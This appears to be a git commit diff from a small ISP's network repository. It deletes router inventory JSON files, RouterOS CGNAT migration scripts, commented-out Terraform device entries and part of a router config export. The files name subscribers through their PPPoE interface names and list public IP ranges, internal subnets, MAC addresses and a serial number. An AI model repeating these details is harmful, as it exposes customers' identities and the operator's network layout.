This commit is contained in:
Graham McIntire 2026-05-09 16:54:28 -05:00
parent 24d7166bde
commit 39c6843a5c
No known key found for this signature in database
GPG key ID: F4ABF488E6029E59
77 changed files with 3011 additions and 59304 deletions

View file

@ -1,367 +0,0 @@
{
"host": "10.254.254.253",
"identity": null,
"timestamp": "2025-10-04T11:06:19.612193",
"subnets": [
{
"address": "204.110.191.185/30",
"network": "204.110.191.184",
"interface": "sfp-sfpplus1-edge-preseem",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.89/29",
"network": "10.250.1.88",
"interface": "ether5-climax",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.62/29",
"network": "10.250.1.56",
"interface": "ether4-newhope",
"comment": "",
"dynamic": false
},
{
"address": "204.110.191.181/30",
"network": "204.110.191.180",
"interface": "ether3-edge-direct",
"comment": "",
"dynamic": false
},
{
"address": "10.254.254.253/32",
"network": "10.254.254.253",
"interface": "loopback",
"comment": "",
"dynamic": false
},
{
"address": "10.250.2.6/29",
"network": "10.250.2.0",
"interface": "ether2-office",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.38/29",
"network": "10.250.1.32",
"interface": "ether1-982-60ghz",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.54/29",
"network": "10.250.1.48",
"interface": "ether6-culleoka-11ghz",
"comment": "",
"dynamic": false
},
{
"address": "100.64.11.254/22",
"network": "100.64.8.0",
"interface": "combo1-380",
"comment": "",
"dynamic": false
},
{
"address": "10.10.79.254/20",
"network": "10.10.64.0",
"interface": "vlan10_combo1",
"comment": "",
"dynamic": false
},
{
"address": "100.64.11.253/32",
"network": "100.64.11.183",
"interface": "<pppoe-luiscabrera>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.11.253/32",
"network": "100.64.11.174",
"interface": "<pppoe-mariacortes-1>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.11.253/32",
"network": "100.64.11.173",
"interface": "<pppoe-terrybates-1>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.11.253/32",
"network": "100.64.11.180",
"interface": "<pppoe-erinthompson>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.11.253/32",
"network": "100.64.11.177",
"interface": "<pppoe-brianhardesty>",
"comment": "",
"dynamic": true
}
],
"interfaces": [
{
"name": "combo1-380",
"type": "ether",
"mac": "64:D1:54:EF:AD:77",
"comment": "",
"mtu": 1500
},
{
"name": "ether1-982-60ghz",
"type": "ether",
"mac": "64:D1:54:EF:AD:78",
"comment": "",
"mtu": 1500
},
{
"name": "ether2-office",
"type": "ether",
"mac": "64:D1:54:EF:AD:79",
"comment": "",
"mtu": 1500
},
{
"name": "ether3-edge-direct",
"type": "ether",
"mac": "64:D1:54:EF:AD:7A",
"comment": "",
"mtu": 1500
},
{
"name": "ether4-newhope",
"type": "ether",
"mac": "64:D1:54:EF:AD:7B",
"comment": "",
"mtu": 1500
},
{
"name": "ether5-climax",
"type": "ether",
"mac": "64:D1:54:EF:AD:7C",
"comment": "",
"mtu": 1500
},
{
"name": "ether6-culleoka-11ghz",
"type": "ether",
"mac": "64:D1:54:EF:AD:7D",
"comment": "",
"mtu": 9000
},
{
"name": "sfp-sfpplus1-edge-preseem",
"type": "ether",
"mac": "64:D1:54:EF:AD:76",
"comment": "",
"mtu": 1500
},
{
"name": "<pppoe-brianhardesty>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-erinthompson>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-luiscabrera>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-mariacortes-1>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-terrybates-1>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "lo",
"type": "loopback",
"mac": "00:00:00:00:00:00",
"comment": "",
"mtu": 65536
},
{
"name": "loopback",
"type": "bridge",
"mac": "0E:66:73:AA:10:86",
"comment": "",
"mtu": "auto"
},
{
"name": "vlan10_combo1",
"type": "vlan",
"mac": "64:D1:54:EF:AD:77",
"comment": "",
"mtu": 1500
}
],
"vlans": [
{
"name": "vlan10_combo1",
"vlan_id": 10,
"interface": "combo1-380"
}
],
"pppoe_servers": [
{
"service_name": 380,
"interface": "combo1-380"
}
],
"routes": [
{
"destination": "10.10.0.0/20",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "10.10.16.0/20",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "100.10.160.0/20",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "100.64.160.0/20",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "100.64.0.0/22",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "100.64.4.0/22",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "100.64.12.0/22",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "204.110.188.32/27",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "204.110.188.64/27",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "204.110.188.224/27",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "204.110.191.0/27",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "10.250.1.8/29",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "10.250.1.24/29",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "10.250.1.24/29",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "10.250.1.64/29",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "10.250.1.64/29",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "10.250.1.88/29",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "10.250.1.144/29",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "10.254.254.101/32",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "10.254.254.102/32",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "10.254.254.111/32",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
}
]
}

View file

@ -1,78 +0,0 @@
{
"host": "10.254.254.254",
"timestamp": "2025-10-04T11:10:47.465125",
"subnets": [
{
"address": "71.41.226.118/30",
"network": "71.41.226.116",
"interface": "sfp-sfpplus12-spectrum",
"comment": ""
},
{
"address": "204.110.191.186/30",
"network": "204.110.191.184",
"interface": "sfp-sfpplus11-preseem",
"comment": ""
},
{
"address": "204.110.191.254/26",
"network": "204.110.191.192",
"interface": "vlan9_sfpplus8",
"comment": ""
},
{
"address": "10.254.254.254/32",
"network": "10.254.254.254",
"interface": "loopback",
"comment": ""
},
{
"address": "204.110.191.182/30",
"network": "204.110.191.180",
"interface": "sfp-sfpplus7-core-direct",
"comment": ""
},
{
"address": "10.0.0.254/24",
"network": "10.0.0.0",
"interface": "sfp-sfpplus8-server-switch",
"comment": ""
},
{
"address": "204.110.190.128/25",
"network": "204.110.190.128",
"interface": "cgnat",
"comment": "CGNAT pool"
}
],
"interfaces": [
{
"name": "sfp-sfpplus7-core-direct",
"type": "ether"
},
{
"name": "sfp-sfpplus8-server-switch",
"type": "ether"
},
{
"name": "sfp-sfpplus11-preseem",
"type": "ether"
},
{
"name": "sfp-sfpplus12-spectrum",
"type": "ether"
},
{
"name": "cgnat",
"type": "bridge"
},
{
"name": "loopback",
"type": "bridge"
},
{
"name": "vlan9_sfpplus8",
"type": "vlan"
}
]
}

View file

@ -1,325 +0,0 @@
{
"host": "10.254.254.111",
"identity": null,
"timestamp": "2025-10-04T10:57:42.536564",
"subnets": [
{
"address": "10.254.254.111/32",
"network": "10.254.254.111",
"interface": "loopback0",
"comment": "Loopback",
"dynamic": false
},
{
"address": "10.250.1.65/29",
"network": "10.250.1.64",
"interface": "ether2-climax",
"comment": "",
"dynamic": false
},
{
"address": "204.110.188.94/27",
"network": "204.110.188.64",
"interface": 494,
"comment": "",
"dynamic": false
},
{
"address": "10.64.175.254/20",
"network": "10.64.160.0",
"interface": 494,
"comment": "",
"dynamic": false
},
{
"address": "10.10.175.254/20",
"network": "10.10.160.0",
"interface": "management",
"comment": "",
"dynamic": false
},
{
"address": "100.64.175.254/20",
"network": "100.64.160.0",
"interface": 494,
"comment": "",
"dynamic": false
},
{
"address": "100.64.175.254/32",
"network": "100.64.174.213",
"interface": "<pppoe-victoriaobier>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.175.254/32",
"network": "100.64.174.212",
"interface": "<pppoe-stephenbeegle>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.175.254/32",
"network": "100.64.174.210",
"interface": "<pppoe-mattkosarek>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.175.254/32",
"network": "100.64.174.209",
"interface": "<pppoe-stevemolina>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.175.254/32",
"network": "100.64.174.208",
"interface": "<pppoe-daycor>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.175.254/32",
"network": "100.64.174.207",
"interface": "<pppoe-cathyday>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.175.254/32",
"network": "100.64.174.206",
"interface": "<pppoe-olgagutierrez>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.175.254/32",
"network": "100.64.174.205",
"interface": "<pppoe-ashleysmith>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.175.254/32",
"network": "100.64.174.204",
"interface": "<pppoe-stephenday>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.175.254/32",
"network": "100.64.174.202",
"interface": "<pppoe-donmckinney>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.175.254/32",
"network": "100.64.174.214",
"interface": "<pppoe-joannarodriguez>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.175.254/32",
"network": "100.64.174.211",
"interface": "<pppoe-kevinarana>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.175.254/32",
"network": "100.64.174.203",
"interface": "<pppoe-melodymccarty>",
"comment": "",
"dynamic": true
}
],
"interfaces": [
{
"name": "ether2-climax",
"type": "ether",
"mac": "DC:2C:6E:DD:87:55",
"comment": "ether2",
"mtu": 1500
},
{
"name": "ether5",
"type": "ether",
"mac": "DC:2C:6E:DD:87:58",
"comment": "ether5",
"mtu": 1500
},
{
"name": "ether6",
"type": "ether",
"mac": "DC:2C:6E:DD:87:59",
"comment": "ether6",
"mtu": 1500
},
{
"name": 494,
"type": "bridge",
"mac": "DC:2C:6E:DD:87:58",
"comment": "",
"mtu": "auto"
},
{
"name": "<pppoe-ashleysmith>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-cathyday>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-daycor>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-donmckinney>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-joannarodriguez>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-kevinarana>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-mattkosarek>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-melodymccarty>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-olgagutierrez>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-stephenbeegle>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-stephenday>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-stevemolina>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-victoriaobier>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "lo",
"type": "loopback",
"mac": "00:00:00:00:00:00",
"comment": "",
"mtu": 65536
},
{
"name": "loopback0",
"type": "bridge",
"mac": "AE:B5:02:38:0E:73",
"comment": "Loopback",
"mtu": "auto"
},
{
"name": "management",
"type": "bridge",
"mac": "DC:2C:6E:DD:87:58",
"comment": "",
"mtu": "auto"
},
{
"name": "vlan10_ether5",
"type": "vlan",
"mac": "DC:2C:6E:DD:87:58",
"comment": "",
"mtu": 1500
},
{
"name": "vlan10_ether6",
"type": "vlan",
"mac": "DC:2C:6E:DD:87:59",
"comment": "",
"mtu": 1500
}
],
"vlans": [
{
"name": "vlan10_ether5",
"vlan_id": 10,
"interface": "ether5"
},
{
"name": "vlan10_ether6",
"vlan_id": 10,
"interface": "ether6"
},
{
"name": "vlan10_ether7",
"vlan_id": 10,
"interface": "ether7"
},
{
"name": "vlan10_ether8",
"vlan_id": 10,
"interface": "ether8"
}
],
"pppoe_servers": [
{
"service_name": 494,
"interface": 494
}
],
"routes": []
}

View file

@ -1,49 +0,0 @@
# 982 Router CGNAT Migration Script
# Changes CGNAT from 100.64.32.0/22 to 100.64.48.0/20
# This gives 4x more addresses (1,024 -> 4,096)
#
# IMPORTANT: This will cause a brief service interruption
# Run during maintenance window
#
# Current: 100.64.32.0/22 (100.64.32.1 - 100.64.35.254)
# New: 100.64.48.0/20 (100.64.48.1 - 100.64.63.254)
# Step 1: Add new IP pool (do this first to prepare)
/ip pool add name=cgnat-new ranges=100.64.48.1-100.64.63.199
# Step 2: Add new IP address to the interface
/ip address add address=100.64.63.254/20 interface=982 comment="New CGNAT subnet"
# Step 3: Create new PPP profile pointing to new pool
/ppp profile add name=982-new local-address=100.64.63.253 remote-address=cgnat-new
# Step 4: Update PPPoE server to use new profile
/interface pppoe-server server set [find name=982] default-profile=982-new
# Step 5: Wait for existing sessions to reconnect (they will get new IPs)
# Monitor with: /ppp active print count-only
:delay 30s
# Step 6: Check that clients are getting new IPs
# /ppp active print brief
# Step 7: After confirming all clients have new IPs, remove old configuration
# WARNING: Only run these after confirming migration is successful!
# Remove old IP address
# /ip address remove [find address="100.64.35.254/22"]
# Remove old IP pool
# /ip pool remove [find name=cgnat]
# Remove old PPP profile
# /ppp profile remove [find name=982]
# Step 8: Rename new items to standard names
# /ip pool set [find name=cgnat-new] name=cgnat
# /ppp profile set [find name=982-new] name=982
# Step 9: Update any firewall NAT rules if needed
# Check with: /ip firewall nat print where src-address~"100.64.32"
# Step 10: Update NetBox documentation with new subnet

View file

@ -1,84 +0,0 @@
# 982 Router CGNAT Migration Script - SAFE VERSION
# This version adds the new configuration alongside the old one
# Allows gradual migration without service interruption
#
# Migration: 100.64.32.0/22 -> 100.64.48.0/20
# Matches management subnet pattern (10.10.48.0/20)
# PREPARATION PHASE - Run these first
{
# Add new CGNAT pool with expanded range
/ip pool add name=cgnat-new ranges=100.64.48.1-100.64.63.199 comment="New /20 CGNAT pool"
# Add new IP address (keep old one for now)
/ip address add address=100.64.63.254/20 interface=982 comment="New CGNAT gateway /20"
# Create temporary PPP profile for migration
/ppp profile add name=982-migrate local-address=100.64.63.253 remote-address=cgnat-new comment="Migration profile"
# Print current state
:put "New CGNAT configuration added. Current state:"
/ip pool print where name~"cgnat"
/ip address print where interface=982
/ppp profile print where name~"982"
}
# TESTING PHASE - Test with one client
{
# Change one PPPoE client to test
# Replace 'testclient' with actual username
# /ppp secret set [find name="testclient"] profile=982-migrate
# Have client reconnect and verify they get IP from new range
# Check with: /ppp active print where name="testclient"
}
# MIGRATION PHASE - Run during maintenance window
{
# Update PPPoE server to use new profile for new connections
/interface pppoe-server server set [find name=982] default-profile=982-migrate
# Force all clients to reconnect (will cause brief outage)
# /ppp active remove [find]
# Or disconnect clients gradually:
# :foreach i in=[/ppp active find] do={
# /ppp active remove $i
# :delay 1s
# }
}
# VERIFICATION COMMANDS
{
# Check active connections
:put "Active PPPoE connections by IP range:"
:put "Old range (100.64.32.x): $([:len [/ppp active find where address~"100.64.32"]])"
:put "Old range (100.64.33.x): $([:len [/ppp active find where address~"100.64.33"]])"
:put "Old range (100.64.34.x): $([:len [/ppp active find where address~"100.64.34"]])"
:put "Old range (100.64.35.x): $([:len [/ppp active find where address~"100.64.35"]])"
:put "New range (100.64.48-63.x): $([:len [/ppp active find where address~"100.64.[45][0-9]"]])"
}
# CLEANUP PHASE - Only run after ALL clients migrated
{
# Remove old configuration
# /ip address remove [find address="100.64.35.254/22"]
# /ip pool remove [find name=cgnat]
# /ppp profile remove [find name=982]
# Rename new items to standard names
# /ip pool set [find name=cgnat-new] name=cgnat comment="982 CGNAT pool /20"
# /ppp profile set [find name=982-migrate] name=982 comment=""
# /ip address set [find address="100.64.63.254/20"] comment="982 CGNAT gateway"
}
# ROLLBACK COMMANDS - If something goes wrong
{
# Revert PPPoE server to old profile
# /interface pppoe-server server set [find name=982] default-profile=982
# Remove new configuration
# /ip address remove [find address="100.64.63.254/20"]
# /ip pool remove [find name=cgnat-new]
# /ppp profile remove [find name=982-migrate]
}

View file

@ -1,503 +0,0 @@
{
"host": "10.254.254.110",
"identity": null,
"timestamp": "2025-10-04T10:59:31.988938",
"subnets": [
{
"address": "10.254.254.110/32",
"network": "10.254.254.110",
"interface": "loopback",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.33/29",
"network": "10.250.1.32",
"interface": "ether7-380",
"comment": "",
"dynamic": false
},
{
"address": "10.10.63.254/20",
"network": "10.10.48.0",
"interface": "mgmt",
"comment": "",
"dynamic": false
},
{
"address": "100.64.35.254/22",
"network": "100.64.32.0",
"interface": 982,
"comment": "",
"dynamic": false
},
{
"address": "204.110.188.126/27",
"network": "204.110.188.96",
"interface": 982,
"comment": "",
"dynamic": false
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.199",
"interface": "<pppoe-derrickmccausland>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.198",
"interface": "<pppoe-coreyball>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.197",
"interface": "<pppoe-kennethcampbell2>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.196",
"interface": "<pppoe-joshuasoliz>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.195",
"interface": "<pppoe-krisdougherty>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.194",
"interface": "<pppoe-zackknuckey>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.193",
"interface": "<pppoe-jackworthy>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.192",
"interface": "<pppoe-joselucas>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.191",
"interface": "<pppoe-nicolemaenn>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.190",
"interface": "<pppoe-melanieweddle>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.189",
"interface": "<pppoe-scottanderson>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.188",
"interface": "<pppoe-rickbeckham>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.187",
"interface": "<pppoe-juanalonzo>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.186",
"interface": "<pppoe-davidvillanueva>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.185",
"interface": "<pppoe-connorspicer>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.184",
"interface": "<pppoe-elisasanders>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.182",
"interface": "<pppoe-terryrector>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.180",
"interface": "<pppoe-richardrosson>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.183",
"interface": "<pppoe-belindamillener>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.179",
"interface": "<pppoe-alextovias>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.181",
"interface": "<pppoe-shelbyburris>",
"comment": "",
"dynamic": true
}
],
"interfaces": [
{
"name": "combo1",
"type": "ether",
"mac": "DC:2C:6E:66:50:BE",
"comment": "",
"mtu": 1500
},
{
"name": "ether1",
"type": "ether",
"mac": "DC:2C:6E:66:50:BF",
"comment": "",
"mtu": 1500
},
{
"name": "ether2",
"type": "ether",
"mac": "DC:2C:6E:66:50:C0",
"comment": "",
"mtu": 1500
},
{
"name": "ether3",
"type": "ether",
"mac": "DC:2C:6E:66:50:C1",
"comment": "",
"mtu": 1500
},
{
"name": "ether4",
"type": "ether",
"mac": "DC:2C:6E:66:50:C2",
"comment": "",
"mtu": 1500
},
{
"name": "ether5",
"type": "ether",
"mac": "DC:2C:6E:66:50:C3",
"comment": "",
"mtu": 1500
},
{
"name": "ether6",
"type": "ether",
"mac": "DC:2C:6E:66:50:C4",
"comment": "",
"mtu": 1500
},
{
"name": "ether7-380",
"type": "ether",
"mac": "DC:2C:6E:66:50:C5",
"comment": "",
"mtu": 1500
},
{
"name": 982,
"type": "bridge",
"mac": "DC:2C:6E:66:50:BE",
"comment": "",
"mtu": "auto"
},
{
"name": "<pppoe-alextovias>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-belindamillener>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-connorspicer>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-coreyball>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-davidvillanueva>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-derrickmccausland>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-elisasanders>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-jackworthy>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-joselucas>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-joshuasoliz>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-juanalonzo>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-kennethcampbell2>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-krisdougherty>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-melanieweddle>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-nicolemaenn>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-richardrosson>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-rickbeckham>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-scottanderson>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-shelbyburris>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-terryrector>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-zackknuckey>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "lo",
"type": "loopback",
"mac": "00:00:00:00:00:00",
"comment": "",
"mtu": 65536
},
{
"name": "loopback",
"type": "bridge",
"mac": "26:96:F5:50:C7:CC",
"comment": "",
"mtu": "auto"
},
{
"name": "mgmt",
"type": "bridge",
"mac": "DC:2C:6E:66:50:BF",
"comment": "",
"mtu": "auto"
},
{
"name": "vlan10_ether1",
"type": "vlan",
"mac": "DC:2C:6E:66:50:BF",
"comment": "",
"mtu": 1500
},
{
"name": "vlan10_ether2",
"type": "vlan",
"mac": "DC:2C:6E:66:50:C0",
"comment": "",
"mtu": 1500
},
{
"name": "vlan10_ether3",
"type": "vlan",
"mac": "DC:2C:6E:66:50:C1",
"comment": "",
"mtu": 1500
},
{
"name": "vlan10_ether4",
"type": "vlan",
"mac": "DC:2C:6E:66:50:C2",
"comment": "",
"mtu": 1500
},
{
"name": "vlan10_ether5",
"type": "vlan",
"mac": "DC:2C:6E:66:50:C3",
"comment": "",
"mtu": 1500
},
{
"name": "vlan10_ether6",
"type": "vlan",
"mac": "DC:2C:6E:66:50:C4",
"comment": "",
"mtu": 1500
}
],
"vlans": [
{
"name": "vlan10_ether1",
"vlan_id": 10,
"interface": "ether1"
},
{
"name": "vlan10_ether2",
"vlan_id": 10,
"interface": "ether2"
},
{
"name": "vlan10_ether3",
"vlan_id": 10,
"interface": "ether3"
},
{
"name": "vlan10_ether4",
"vlan_id": 10,
"interface": "ether4"
},
{
"name": "vlan10_ether5",
"vlan_id": 10,
"interface": "ether5"
},
{
"name": "vlan10_ether6",
"vlan_id": 10,
"interface": "ether6"
}
],
"pppoe_servers": [
{
"service_name": 982,
"interface": 982
}
],
"routes": []
}

View file

@ -1,51 +0,0 @@
# resource "towerops_device" "device_982_380_60_lr" {
# site_id = towerops_site.backhauls.id
# name = "982_380_60 LR"
# ip_address = "10.250.1.34"
# snmp_version = "1"
# }
# resource "towerops_device" "device_380_982_60_lr" {
# site_id = towerops_site.backhauls.id
# name = "380_982_ 60 LR"
# ip_address = "10.250.1.37"
# snmp_version = "1"
# }
# resource "towerops_device" "device_380_to_culleoka_11g" {
# site_id = towerops_site.backhauls.id
# name = "380 to Culleoka 11g"
# ip_address = "10.250.1.53"
# snmp_version = "1"
# }
# resource "towerops_device" "device_380_to_new_hope" {
# site_id = towerops_site.backhauls.id
# name = "380 to New Hope"
# ip_address = "10.250.1.61"
# snmp_version = "1"
# }
# resource "towerops_device" "climax_70" {
# site_id = towerops_site.backhauls.id
# name = "climax"
# ip_address = "10.250.1.70"
# snmp_version = "1"
# }
# resource "towerops_device" "lowry_crossing_to_new_hope" {
# site_id = towerops_site.backhauls.id
# name = "Lowry Crossing to New Hope"
# ip_address = "10.250.1.106"
# snmp_version = "1"
# }
# resource "towerops_device" "new_hope_to_lowry_crossing" {
# site_id = towerops_site.backhauls.id
# name = "new hope to lowry crossing"
# ip_address = "10.250.1.109"
# snmp_version = "1"
# }

View file

@ -1,156 +0,0 @@
# 2025-11-27 17:39:07 by RouterOS 7.20.4
# software id = DM48-6FY7
#
# model = RB4011iGS+5HacQ2HnD
# serial number = A2820A548561
/interface bridge
add admin-mac=74:4D:28:1A:67:09 auto-mac=no comment=defconf name=bridgeLocal
add name=dockers
/interface wireless
set [ find default-name=wlan1 ] band=2ghz-g/n mode=ap-bridge ssid=camper \
wireless-protocol=802.11
/interface ethernet
set [ find default-name=ether2 ] name=ether2-starlink
set [ find default-name=ether3 ] name=ether3-tmobile
/interface veth
add address=172.17.0.2/16 dhcp=no gateway=172.17.0.1 gateway6="" name=veth1
/interface list
add name=WAN
add name=LAN
/interface wireless security-profiles
set [ find default=yes ] authentication-types=wpa-psk,wpa2-psk mode=\
dynamic-keys supplicant-identity=MikroTik
add authentication-types=wpa-psk,wpa2-psk mode=dynamic-keys name=\
wlan2-profile supplicant-identity=MikroTik
/interface wireless
set [ find default-name=wlan2 ] band=5ghz-n/ac disabled=no mode=ap-bridge \
security-profile=wlan2-profile ssid=camper wireless-protocol=802.11 \
wps-mode=disabled
/ip pool
add name=dhcp ranges=10.0.20.1-10.0.20.249
/ip dhcp-server
add address-pool=dhcp interface=bridgeLocal name=dhcp1
/port
set 0 name=serial0
set 1 name=serial1
/interface bridge port
add bridge=bridgeLocal comment=defconf interface=ether4
add bridge=bridgeLocal comment=defconf interface=ether5
add bridge=bridgeLocal comment=defconf interface=ether6
add bridge=bridgeLocal comment=defconf interface=ether7
add bridge=bridgeLocal comment=defconf interface=ether8
add bridge=bridgeLocal comment=defconf interface=ether9
add bridge=bridgeLocal comment=defconf interface=ether10
add bridge=bridgeLocal comment=defconf interface=sfp-sfpplus1
add bridge=bridgeLocal interface=wlan2
add bridge=bridgeLocal interface=wlan1
add bridge=dockers interface=veth1
/interface detect-internet
set lan-interface-list=LAN wan-interface-list=dynamic
/interface list member
add interface=ether2-starlink list=WAN
add interface=ether3-tmobile list=WAN
add interface=bridgeLocal list=LAN
/interface wireless cap
set bridge=bridgeLocal discovery-interfaces=bridgeLocal interfaces=\
wlan1,wlan2
/ip address
